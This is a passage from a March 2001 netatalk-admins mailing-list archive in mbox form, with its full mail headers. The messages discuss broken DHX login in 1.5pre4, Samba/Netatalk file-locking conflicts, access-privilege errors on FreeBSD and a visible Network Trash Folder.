To: Steve_Kreuzer@condenast.com
CC: netatalk-admins@umich.edu
Subject: Re: Quick Question
References: <85256A09.00559EE0.00@Beethoven.condenast.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Steve_Kreuzer@condenast.com wrote:
> I have Red Hat 7.0 running and recently downloaded the 1.5pre4 RPM and it
> install without a problem, however, only guests can log in.. The FAQ states that
> this is because netatalk needs to be compiled with shadow support.. Is there any
> way I can get shadow support with the RPM?

The problem is that 1.5pre4 had broken DHX login support.

Grab the 1.5pre5 release that is on sourceforge now; it should fix that
problem.

jeff

From netatalk.administrators-errors@umich.edu  Thu Mar  8 11:39:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24658
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 11:39:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17618
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 11:39:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA17595
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 11:39:09 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA17465
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 11:39:04 -0500 (EST)
Received: (qmail 6731 invoked by alias); 8 Mar 2001 16:39:09 -0000
Received: (qmail 6717 invoked by uid 0); 8 Mar 2001 16:39:08 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 8 Mar 2001 16:39:08 -0000
Message-ID: <3AA7B64C.A717E99D@potsdam.edu>
Date: Thu, 08 Mar 2001 11:41:48 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Frank Joerdens <frank@joerdens.de>
CC: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu> <3AA57F62.C9348CF1@potsdam.edu> <20010307213517.C12210@rakete.joerdens.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Frank Joerdens wrote:
> Please explain. I've kinda regretted using Netatalk/Samba because of
> this and troubles with the mswindwos/codepage options. If NT/2000 has
> trouble with locking too, that would be a relief!

	Albeit better than the NON-EXISTANCE of shared locking between
Samba/Netatalk (although the new Samba has a locking API, so
theoretically any program can use its locking API to "stay safe" with
Samba), NT/2k still do not lock well between the two platforms. There is
no way to lock parts of a file,  and write-locks don't exist, so both
plats can simultaneously write to the same file and possibly corrupt it
horribly.

-- 

 Matthew Keller
 Enterprise Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Thu Mar  8 11:39:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24692
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 11:39:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18044
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 11:39:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA18030
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 11:39:38 -0500 (EST)
Received: from balzac.cybercable.fr (balzac.cybercable.fr [212.198.0.198])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA17980
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 11:39:36 -0500 (EST)
Received: (qmail 30951110 invoked from network); 8 Mar 2001 16:34:53 -0000
Received: from d112.dhcp212-231.cybercable.fr (HELO miller) ([212.198.231.112]) (envelope-sender <lermigeaux@fabula.org>)
          by balzac.cybercable.fr (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 8 Mar 2001 16:34:53 -0000
Message-Id: <3.0.5.32.20010308173802.00ae65d0@pop.noos.fr>
X-Sender: lemi@pop.noos.fr
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
Date: Thu, 08 Mar 2001 17:38:02 +0100
To: netatalk-admins@umich.edu
From: FL <lermigeaux@fabula.org>
Subject: 
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

unsubscribe 

From netatalk.administrators-errors@umich.edu  Thu Mar  8 11:41:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24755
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 11:41:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22250
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 11:41:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA22242
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 11:41:16 -0500 (EST)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA22232
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 11:41:14 -0500 (EST)
Received: from [216.64.45.172] (helo=[192.168.99.66])
	by hobbiton.shire.net with esmtp (Exim 2.04 #5)
	id 14b3T2-000CGI-00; Thu, 8 Mar 2001 09:40:45 -0700
Date: Thu, 08 Mar 2001 11:41:11 -0500
From: "Chad Leigh, ObjectWerks, Inc." <chad@objectwerks.com>
Reply-To: chad@objectwerks.com
To: netatalk-admins@umich.edu
cc: chad@objectwerks.com
Subject: no version seems to work correctly for me on FreeBSD 4.2
Message-ID: <39470211.984051671@[192.168.99.66]>
X-Mailer: Mulberry/2.1.0a2 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Hi All

I have tried the following versions, and none of them seem to work 
correctly, all with different symptoms:

1.4b2+asun2.1.3_1

1.4.99-0.20001108

1.5pre4
1.5pre5


I was able to compile all of them (1.4b2+asun was done using the FreeBSD 
port, all the rest from the sourceforge source .tar.gz files) using default 
parameters.

In all cases I am logging in as a user (not guest) and the netatalk volumes 
are my home directory and another volume I set up with myself as owner 
(user I log in as is owner).  All versions use exactly the same config 
files and AppleVolumes files etc.  (with appropriate =/: as needed)

1.4b2+asun2.1.3_1:

With 1.4b2+asun it mostly works but when I try and copy files in or create 
new files I get the infamous "You do not have enough access privileges" 
error and then it works anyway, for creating a folder say.  However, 
copying in a folder to the netatalk volume from my Macs (OS 9.0.4) it 
creates the folder and then says that it cannot continue because I don't 
have enough access privileges and offers a STOP and a CONTINUE button. 
Pressing continue does not continue and I get an empty folder.  However, If 
I open up the folder on the Mac, select-all, and drag the files on top of 
the empty folder on the netatalk volume then it copies the files fine, as 
long as they are just files, but folders get created but their contents 
don't when dragged into the new folder.  This happens both for my ~chad 
volume and for my other volume.   If I open a file for editing using this 
version it is fine.  The lock file gets created fine and I can edit and 
save etc.

Here are the permissions:

~chad:

megumi# ls -al
total 48153
drwxr-xr-x  31 chad  staff      2048 Mar  8 09:18 .
drwxr-xr-x   6 root  wheel       512 Jan 23 12:45 ..
drwxr-xr-x   5 chad  staff       512 Mar  8 09:13 .AppleDesktop
drwxr-xr-x   2 chad  staff      2048 Mar  8 09:03 .AppleDouble
drwx------   5 chad  staff       512 Jan 23 12:44 .Trash
drwxr-xr-x   3 chad  staff       512 Mar  8 09:03 untitled folder

other volume:

megumi# ls -al
total 20
drwsrws---  13 chad  staff   512 Mar  8 09:18 .
drwxrwx---   8 root  wheel   512 Mar  3 19:11 ..
drwsrws---  10 chad  staff   512 Mar  8 09:19 .AppleDesktop
drwsrws---   2 chad  staff   512 Feb 22 14:45 .AppleDouble
-rw-rw----   1 chad  staff  6148 Feb 22 14:45 :2eDS_Store
drwxrwx---   3 chad  staff   512 Feb  6 21:54 :2eTrashes
drwsrws---   4 chad  staff   512 Mar  3 21:03 Applications
drwsrws---   6 chad  staff   512 Mar  8 09:03 Leigh America Company
drwxrwx---   4 chad  staff   512 Mar  8 09:19 M.Y.O.B. Accounting Plus V8
drwsrws---   6 chad  staff   512 Mar  8 09:01 Network Trash Folder
drwsrws---   4 chad  staff   512 Feb 22 14:47 Shire.Net LLC
drwsrws---   3 chad  staff   512 Jan  6 18:19 TheFindByContentFolder
drwsrws---   3 chad  staff   512 Jan  6 18:20 TheVolumeSettingsFolder
drwxrwx---   3 chad  staff   512 Mar  8 09:14 niftytelnet-1.1-ssh-r3 Folder

The ones I tried to drag in and that were created automagically are the 
MYOB and the niftytelnet ones.



I have also tried a +t permission with the same effect.


1.4.99-0.20001108:

With this one I could not get permission to log in as a user.  Only guest 
showed up.  The chooser window flashed for a fraction of a second the 
normal log in window for the server and then changed to only allow guest 
access.  This was using exactly the same configuration and AppleVolumes 
files as above.


1.5pre4
1.5pre5

Both of these worked the same way.  Again using exactly the same config 
files etc as above versions.

Here, trying to create a file gives an error that I don't have enough 
permissions but it does NOT create the file, if I remember correctly.  I 
may not remember correctly, it may create the file and behave similar to 
the 1.4b2_asun version.   But in this version, if I try and open a file 
already on it for writing, it tries to create a lock file and says that it 
cannot create the lock file, bad permissions,  and fails the open.  There 
is a lock file left on the disk however.


Any help, comments, or whatever would be greatly appreciated, since I have 
tried all sorts of configs, permissions, etc. and nothing seems to work.  I 
am currently running the 1.4b2+asun version since it is closest to working.

Is 1.5 any faster, btw?  1.4b2, running on a dual P2 266 with 224MB RAM and 
FreeBSD 4.2, with 7200rpm Quantum Atlas 2 9gig disks mirrored using CCD, 
seems abysmally slow using netatalk.  Opening up a file and saving a record 
into it takes forever (5-10 seconds where a local file on my 233 imac saves 
instantaneously -- I would guess that netatalk volumes may be a little 
slower but this is 500-1000% or more slower).


Thanks
Chad




From netatalk.administrators-errors@umich.edu  Thu Mar  8 11:45:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA24860
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 11:45:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25940
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 11:45:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA25924
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 11:45:13 -0500 (EST)
Received: from mail.magicgoeshere.com (NW152-60.indigo.ie [194.125.152.60] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA25866
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 11:45:11 -0500 (EST)
Received: from bagend.local (unknown [194.165.161.141])
	by mail.magicgoeshere.com (Postfix) with ESMTP id 3D4E6FB1B
	for <netatalk-admins@umich.edu>; Thu,  8 Mar 2001 16:37:00 +0000 (GMT)
Received: (from niall@localhost)
	by bagend.local (8.9.3/8.9.3) id PAA01312
	for netatalk-admins@umich.edu; Thu, 8 Mar 2001 15:45:28 GMT
Date: Thu, 8 Mar 2001 15:45:28 +0000
From: Niall O Broin <niall@magicgoeshere.com>
To: netatalk-admins@umich.edu
Subject: Users seeing the Network Trash Folder
Message-ID: <20010308154528.C1240@bagend.local>
References: <00e301c0a7db$33a67fc0$4dc8a8c0@hauptsache.intra>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <00e301c0a7db$33a67fc0$4dc8a8c0@hauptsache.intra>; from hagelstein@hauptsache.net on Thu, Mar 08, 2001 at 03:22:22PM +0100

On Thu, Mar 08, 2001 at 03:22:22PM +0100, Nikolas Hagelstein wrote:

> BTW: strage thing in 1.5pre3 is that sometimes users are able to see the
> Network Trash Folder ....

Funny that he should mention that - I've just noticed that happening
recently on occasion on a 1.4b2+asun2.1.3 box - 8.6 and 9.1 clients.



Regards,



Niall   O Broin

From netatalk.administrators-errors@umich.edu  Thu Mar  8 12:17:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25680
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 12:17:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA15893
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 12:17:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA15852
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 12:17:18 -0500 (EST)
Received: from host9.digitalpulp.com (host10.digitalpulp.com [209.176.7.10])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA15816
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 12:17:17 -0500 (EST)
Received: from localhost (charwell@localhost)
	by host9.digitalpulp.com (8.11.0/8.11.0) with ESMTP id f28HH7W15976;
	Thu, 8 Mar 2001 12:17:07 -0500
Date: Thu, 8 Mar 2001 12:17:07 -0500 (EST)
From: Chris Harwell <charwell@digitalpulp.com>
To: Matthew Keller <kellermg@potsdam.edu>
cc: Frank Joerdens <frank@joerdens.de>,
        Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
In-Reply-To: <3AA7B64C.A717E99D@potsdam.edu>
Message-ID: <Pine.LNX.4.30.0103081211370.11501-100000@host9.digitalpulp.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 8 Mar 2001, Matthew Keller wrote:

> Frank Joerdens wrote:
> > Please explain. I've kinda regretted using Netatalk/Samba because of
> > this and troubles with the mswindwos/codepage options. If NT/2000 has
> > trouble with locking too, that would be a relief!
>
> 	Albeit better than the NON-EXISTANCE of shared locking between
> Samba/Netatalk (although the new Samba has a locking API, so
> theoretically any program can use its locking API to "stay safe" with
> Samba), NT/2k still do not lock well between the two platforms. There is
> no way to lock parts of a file,  and write-locks don't exist, so both
> plats can simultaneously write to the same file and possibly corrupt it
> horribly.
>
>

cool. then do i understand correctly that we could patch netatalk to use
samba's locking API thus preventing this file corruption?

i'd like to lean more about this.  where would i look to lean more about
this?

what does linux do in terms of file locking? is there a level of
abstraction above specific filesystems and file sharing protocols?

what are the options for getting locking to work with
local access to the file system + NFS + samba + netatalk?

thanks,

-- 
chris
charwell@digitalpulp.com



From netatalk.administrators-errors@umich.edu  Thu Mar  8 12:23:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA25979
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 12:23:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25049
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 12:23:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25004
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 12:23:37 -0500 (EST)
Received: from mail.hauptsache.net (www.hauptsache.net [195.88.44.25])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA24955
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 12:23:34 -0500 (EST)
Received: from lespaul (pD95000A8.dip.t-dialin.net [217.80.0.168])
	by mail.hauptsache.net (8.9.3/8.9.3) with SMTP id SAA26913
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 18:06:42 +0100
Message-ID: <00e001c0a7f4$c16bcc20$4dc8a8c0@hauptsache.intra>
From: "Nikolas Hagelstein" <hagelstein@hauptsache.net>
To: <netatalk-admins@umich.edu>
References: <00e301c0a7db$33a67fc0$4dc8a8c0@hauptsache.intra> <20010308154528.C1240@bagend.local>
Subject: Re: Users seeing the Network Trash Folder
Date: Thu, 8 Mar 2001 18:23:38 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200

Hi,

> Funny that he should mention that - I've just noticed that happening
> recently on occasion on a 1.4b2+asun2.1.3 box - 8.6 and 9.1 clients.

I wonder how netatalk hides the "Network Trash Folder" this can't IMHO not
be done
via unixside filepermissions...shouldn't netatalk hide it during serving the
directorylisting ?
bye,
            Niko


From netatalk.administrators-errors@umich.edu  Thu Mar  8 12:54:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA26864
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 12:54:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA23267
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 12:54:11 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA23248
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 12:54:10 -0500 (EST)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA23209
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 12:54:08 -0500 (EST)
Received: by mail.teleologic.net (Postfix, from userid 1049)
	id 0A13E2B90E8; Thu, 08 Mar 2001 11:54:14 -0600 (CST)
Date: Thu, 8 Mar 2001 11:54:13 -0600
From: Danny Sauer <dsauer@teleologic.net>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Message-ID: <20010308115413.F29970@teleologic.net>
References: <3AA7B64C.A717E99D@potsdam.edu> <Pine.LNX.4.30.0103081211370.11501-100000@host9.digitalpulp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.30.0103081211370.11501-100000@host9.digitalpulp.com>; from charwell@digitalpulp.com on Thu, Mar 08, 2001 at 12:17:07PM -0500
X-Operating-System: Linux 2.2.16 i686
X-Dont-Spam-Me: I might come after you

Chris wrote regarding 'Re: Samba and Netatalk' on Thu, Mar 08 at 11:31:
> On Thu, 8 Mar 2001, Matthew Keller wrote:
> > Frank Joerdens wrote:
> > > Please explain. I've kinda regretted using Netatalk/Samba because of
> > > this and troubles with the mswindwos/codepage options. If NT/2000 has
> > > trouble with locking too, that would be a relief!
> >
> > 	Albeit better than the NON-EXISTANCE of shared locking between
> > Samba/Netatalk (although the new Samba has a locking API, so
> > theoretically any program can use its locking API to "stay safe" with
> > Samba), NT/2k still do not lock well between the two platforms. There is
> > no way to lock parts of a file,  and write-locks don't exist, so both
> > plats can simultaneously write to the same file and possibly corrupt it
> > horribly.
> 
> cool. then do i understand correctly that we could patch netatalk to use
> samba's locking API thus preventing this file corruption?
> 
> i'd like to lean more about this.  where would i look to lean more about
> this?
> 
> what does linux do in terms of file locking? is there a level of
> abstraction above specific filesystems and file sharing protocols?
> 
> what are the options for getting locking to work with
> local access to the file system + NFS + samba + netatalk?

There was a whole thread on this a few months back (less than 6 mo ago, IIRC)
which might be a good place to start looking.  It sticks in my mind that there
were a few people who were either working on a similar project or were willing
to contribute, but that might just be wishful thinking on my part.

I'll bzip2 my mbox format discussion list archive and email it to you if you
can't find an archive, but it seems like the groups were on-line somewhere.
I don't know where, though.  I'm sure someone does... :)

--Danny

From netatalk.administrators-errors@umich.edu  Thu Mar  8 12:55:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA26903
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 12:55:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA25006
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 12:55:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA24980
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 12:55:11 -0500 (EST)
Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA24926
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 12:55:09 -0500 (EST)
Received: from [10.1.0.4] (cs2872-148.austin.rr.com [24.28.72.148])
	by sm10.texas.rr.com (8.11.0/8.11.1) with ESMTP id f28HkDq04606;
	Thu, 8 Mar 2001 11:46:13 -0600
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 08 Mar 2001 11:55:32 -0600
Subject: OFF: don't bother reading this
From: JollyRoger <jollyroger@boxpo.com>
To: Applecript-Users <applescript-users@lists.apple.com>,
        AppleScript-Implementors <applescript-implementors@lists.apple.com>,
        FB3Beta <FB3Beta@chumley.smsu.edu>,
        IPNetRouter <nettalk@sustworks.com>,
        Ircle-Scripting <Ircle-Scripting@yahoogroups.com>,
        Ircle-Talk <Ircle-Talk@yahoogroups.com>,
        MacPascal <macpascal@camelot.lmms.lmco.com>,
        Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B6CD23B4.571F%jollyroger@boxpo.com>
In-Reply-To: <B83ECC23.336%rgraves2@uswest.net>
Mime-version: 1.0
Reply-To: jollyroger@boxpo.com
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I warned you...you are wasting your time.

I'm just trying to see if this message gets through...


From netatalk.administrators-errors@umich.edu  Thu Mar  8 14:16:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA28761
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 14:16:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15044
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 14:15:54 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA15014
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 14:15:53 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA12476
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 14:15:50 -0500 (EST)
Received: (qmail 3862 invoked by alias); 8 Mar 2001 19:14:32 -0000
Received: (qmail 3847 invoked by uid 0); 8 Mar 2001 19:14:32 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 8 Mar 2001 19:14:32 -0000
Message-ID: <3AA7DAB8.2252F10D@potsdam.edu>
Date: Thu, 08 Mar 2001 14:17:12 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Chris Harwell <charwell@digitalpulp.com>
CC: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
References: <Pine.LNX.4.30.0103081211370.11501-100000@host9.digitalpulp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Harwell wrote:
> cool. then do i understand correctly that we could patch netatalk to use
> samba's locking API thus preventing this file corruption?

	The new Samba 2.2 locking API is provided via a separate library, that
will allow for other server-type applications to, in effect "share"
locks, or at least honor each other's locks. Unfortunately, because of
what a Windows client EXPECTS when it opens a file on a server as
opposed to what a Mac EXPECTS when it opens a file on a server, this may
not prevent ANYTHING bad from happening. Macs are very sensitive to
"permission" changes after a file is opened - If when the file was
opened the Mac was given write permission, it expects the ability to
write to the file at any time until IT closes the file - This is a bad
assumption (just one of many), and will most probably collide with ANY
collaborative locking mechanism/API.


-- 

 Matthew Keller
 Enterprise Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Thu Mar  8 14:33:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29202
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 14:32:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13792
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 8 Mar 2001 14:32:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA13755
	for netatalk.administrators-members@umich.edu; Thu, 8 Mar 2001 14:32:51 -0500 (EST)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA13691
	for <netatalk-admins@umich.edu>; Thu, 8 Mar 2001 14:32:48 -0500 (EST)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id VAA29680;
	Thu, 8 Mar 2001 21:39:21 +0100
Message-ID: <3AA7DEB5.CB69DA51@i-clue.de>
Date: Thu, 08 Mar 2001 20:34:13 +0100
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Nikolas Hagelstein <hagelstein@hauptsache.net>
CC: netatalk-admins@umich.edu
Subject: Re: Users seeing the Network Trash Folder
References: <00e301c0a7db$33a67fc0$4dc8a8c0@hauptsache.intra> <20010308154528.C1240@bagend.local> <00e001c0a7f4$c16bcc20$4dc8a8c0@hauptsache.intra>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



Nikolas Hagelstein schrieb:
> 
> Hi,
> 
> > Funny that he should mention that - I've just noticed that happening
> > recently on occasion on a 1.4b2+asun2.1.3 box - 8.6 and 9.1 clients.
> 
> I wonder how netatalk hides the "Network Trash Folder" this can't IMHO not
> be done
> via unixside filepermissions...shouldn't netatalk hide it during serving the
> directorylisting ?

No, the clients hide the network trash folders if the permissions are
set up the right way. (In fact, the client shows the content of the
network trash folder as content of its own trashcan). Should happen
automatically, anyway.

HTH
-Christoph Sold

From netatalk.administrators-errors@umich.edu  Thu Mar  8 14:40:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA29367
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 8 Mar 2001 14:40:40 -0500 (EST)
Received: (from daemon@localhost)
